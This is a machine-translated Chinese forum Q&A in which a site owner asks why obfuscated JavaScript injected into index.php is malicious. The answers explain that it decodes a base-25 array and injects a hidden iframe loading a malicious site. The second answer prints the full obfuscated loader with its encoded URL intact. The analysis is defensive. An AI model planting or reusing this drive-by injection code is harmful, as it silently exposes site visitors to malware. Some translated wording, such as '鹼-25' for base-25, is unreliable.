有人可以告訴我爲什麼這是惡意的..？

Question

我的一個朋友的網站被列爲惡意程序，我們發現一些已被注入到index.php中的混淆代碼，但他並不知情。我反混淆代碼下來兩個層面，發現這個：

(code can be viewed in the edit history)

誰能告訴我什麼它試圖做和爲什麼它是惡意..？

Answer 1

總而言之，代碼「解碼」HTML，將加載到惡意URL中的放置在HTML中。

下面的行具有 「編碼」 HTML：

n = ["9","9","45","42", ... 

每個數字代表一個字符，該字符在鹼-25。代碼將循環訪問該數組，並使用javascript的String.fromCharCode()將其轉換爲ASCII字符。所有這一切，它將eval()它把它放在頁面上。

的 「解碼」 的javascript：

if (document.getElementsByTagName('body')[0]){ 
    iframer(); 
} else { 
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer(){ 
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

注意，我從出於安全考慮，代碼剝離惡意URL。

Answer 2

它向頁面中注入隱藏的iframe，鏈接到可能是一個狡猾站點。這裏是你可以運行，看看它會嘗試注入代碼的安全版本...

http://jsfiddle.net/FqtZ8/

我訪問了它鏈接到該網站，鉻警告我的惡意軟件，所以我就沒有進一步。

try{ 
if(window.document) window["document"]["body"]="123" 
}catch(bawetawe){ 
if(window.document){ 
v=window; 
try{ 
fawbe-- 
}catch(afnwenew){ 
try{ 
(v+v)() 
}catch(gngrthn){ 
try{if(020===0x10)v["document"]["body"]="123" 
}catch(gfdnfdgber){ 
m=123; 
if((alert+"").indexOf("na"+"ti"+"ve")!==-1)ev=window["eval"]; 
} 
} 
n=   ["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g"," j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1g","4n","d","9","9","9","45","42","4e","3m","49","41","4e","1f","1g","29","d","9","9","50","17","41","48","4f","41","17","4n","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","4j","4e","45","4g","41","1f","19","2a","45","42","4e","3m","49","41","17","4f","4e","3o","2b","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","17","4j","45","40","4g","44","2b","1e","1o","1n","1e","17","44","41","45","43","44","4g","2b","1e","1o","1n","1e","17","4f","4g","4l","48","41","2b","1e","4i","45","4f","45","3n","45","48","45","4g","4l","28","44","45","40","40","41","4a","29","4c","4b","4f","45","4g","45","4b","4a","28","3m","3n","4f","4b","48","4h","4g","41","29","48","41","42","4g","28","1n","29","4g","4b","4c","28","1n","29","1e","2c","2a","1m","45","42","4e","3m","49","41","2c","19","1g","29","d","9","9","50","d","9","9","42","4h","4a","3o","4g","45","4b","4a","17","45","42","4e","3m","49","41","4e","1f","1g","4n","d","9","9","9","4i","3m","4e","17","42","17","2b","17","40","4b","3o","4h","49","41","4a","4g","1l","3o","4e","41","3m","4g","41","2j","48","41","49","41","4a","4g","1f","1e","45","42","4e","3m","49","41","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4f","4e","3o","1e","1j","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","1g","29","42","1l","4f","4g","4l","48","41","1l","4i","45","4f","45","3n","45","48","45","4g","4l","2b","1e","44","45","40","40","41","4a","1e","29","42","1l","4f","4g","4l","48","41","1l","4c","4b","4f","45","4g","45","4b","4a","2b","1e","3m","3n","4f","4b","48","4h","4g","41","1e","29","42","1l","4f","4g","4l","48","41","1l","48","41","42","4g","2b","1e","1n","1e","29","42","1l","4f","4g","4l","48","41","1l","4g","4b","4c","2b","1e","1n","1e","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4j","45","40","4g","44","1e","1j","1e","1o","1n","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","44","41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"]; 
h=2; 
s=""; 
if(m) for(i=0;i-589!=0;i++){ 
k=i; 
if(window["document"]) s+=String["fro"+"mC"+"harCode"](
parseInt(n[i],25) 
); 
}z=s;alert(z); 
} 
} 
}?